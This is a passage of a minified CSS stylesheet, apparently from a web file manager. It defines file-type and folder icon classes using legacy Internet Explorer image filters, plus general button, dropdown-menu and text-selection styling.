\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none 